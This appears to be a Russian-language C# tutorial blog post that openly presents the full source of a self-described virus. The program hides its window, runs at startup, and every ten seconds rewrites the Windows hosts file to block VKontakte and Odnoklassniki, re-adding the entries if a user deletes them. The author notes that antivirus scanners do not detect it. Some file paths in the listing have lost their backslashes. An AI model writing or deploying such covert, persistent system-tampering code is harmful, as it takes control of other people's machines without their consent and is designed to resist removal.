Домой Internet Осторожно! Вирус на C#. System.Antisocial.: Справочник по C#

Осторожно! Вирус на C#. System.Antisocial.: Справочник по C#

679
0


      После того как социальные сети очень плотно вошли в нашу жизнь, многие люди стали там проводить практически всё своё свободное, а иногда и рабочее время. Особенно это касается подростков, хотя есть исключения в любом возрасте.
      Бессонные ночи, пропущенные уроки, отсутствие какой-либо самодеятельности и т.п. Было принято решение как-то бороться с этой социальной зависимостью. Для этого, собственно говоря, и был написан этот простенький вирус. Достаточно добавить его в автозагрузку и вуаля — cайты социальных сетей больше не доступны!
 Принцип его работы очень прост:

      Проверяется наличие файла hosts (C:WINDOWSsystem32driversetchosts). Если такой файл существует (а как правило он существует), то в него дописываются несколько строк, перенаправляющих пользователей с vkontakte.ru, vk.com, и odnoklassniki.ru на localhost. Наличие файла и переадресации в нем проверяется по таймеру — каждые 10 секунд, поэтому его удаление или редактирование через 10 секунд приведет к тому же самому результату (простая защита от «продвинутых» юзеров).

      Проект имеет всего лишь одну форму и таймер. Форма в процессе загрузки скрывается от глаз пользователя, поэтому если нужно прекратить действие программы — достаточно зарубить процесс в диспетчере задач и отредактировать файл hosts до прежнего состояния…

ЧИТАТЬ ТАКЖЕ:  Программно выполняем Ctrl+C: Справочник по C#

      На virustotal ни один антивирус не определяет текущий файл как вирус. В процессе работы срабатывание эвристики было замечено только у MS EssentialSecurity.
Ну и, собственно говоря, само тело вируса:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;

namespace systems
{
public partial class Form1 : Form
{
WorkWithHosts file = new WorkWithHosts();

public Form1()
{
InitializeComponent();
// Запускаем таймер
timer1.Interval = 10000;
timer1.Enabled = true;
}

private void Form1_Load(object sender, EventArgs e)
{
// Скрываем форму
ShowInTaskbar = false;
this.Visible = false;
this.ShowIcon = false;
}

public void Start()
{
// проверяем наличие файла hosts
// и строк переадресации
if(!file.FileIsEnable())
{
file.CreateTheFile();
}

if(!file.FileContainUrl())
{
file.AddUrls();
}
}

private void timer1_Tick(object sender, EventArgs e)
{
// Запуск программы
Start();
}
}

// Работаем с файлом hosts
class WorkWithHosts
{
// получаем информацию о текущем файле
FileInfo fileHosts = new FileInfo("C:\WINDOWS\system32\drivers\etc\hosts");

// проверяем наличие файла
public bool FileIsEnable()
{
if (fileHosts.Exists == false)
{
return false;
}
return true;
}

// создаем файл:
public void CreateTheFile()
{
StreamWriter fileOrigin;
string originInfo = "127.0.0.1       localhost";

fileOrigin = File.CreateText("C:\WINDOWS\system32\drivers\etc\hosts");
fileOrigin.WriteLine(originInfo);
fileOrigin.Close();

SetFileAttributes();
}

// устанавливаем аттрибуты файла (скрываем и разрешаем запись)
private void SetFileAttributes()
{
fileHosts.Attributes = FileAttributes.ReadOnly | FileAttributes.Hidden;
fileHosts.Attributes = fileHosts.Attributes & ~FileAttributes.ReadOnly;
}

// читаем содержимое файла
private string[] ReadFile()
{
try
{
string[] hostsData = File.ReadAllLines(@"C:WINDOWSsystem32driversetchosts");
return hostsData;
}
catch
{
return null;
}
}

// проверяем наличие строк переадресации
public bool FileContainUrl()
{
string[] hostsData = ReadFile();
if (hostsData != null)
{
foreach (string url in hostsData)
{
if (url.IndexOf("vkontakte.ru") != -1)
{
return true;
}
}
}
else
{
CreateTheFile();
}
return false;
}

// Добавляем строки:
public void AddUrls()
{
try
{
StreamWriter file = new StreamWriter("C:\WINDOWS\system32\drivers\etc\hosts", true);
file.WriteLine();
file.WriteLine("127.0.0.1       vk.com");
file.WriteLine("127.0.0.1       vkontakte.ru");
file.WriteLine("127.0.0.1       odnoklassniki.ru");
file.Close();
}
catch
{
// Исключение предусмотрено на тот случай
// если файл используется другим процессом
Application.DoEvents();
}
}
}
}

Осторожно! Вирус на C#. System.Antisocial.: Справочник по C#

0.00 (0%) 0 votes

ОСТАВЬТЕ ОТВЕТ

Пожалуйста, введите ваш комментарий!
пожалуйста, введите ваше имя здесь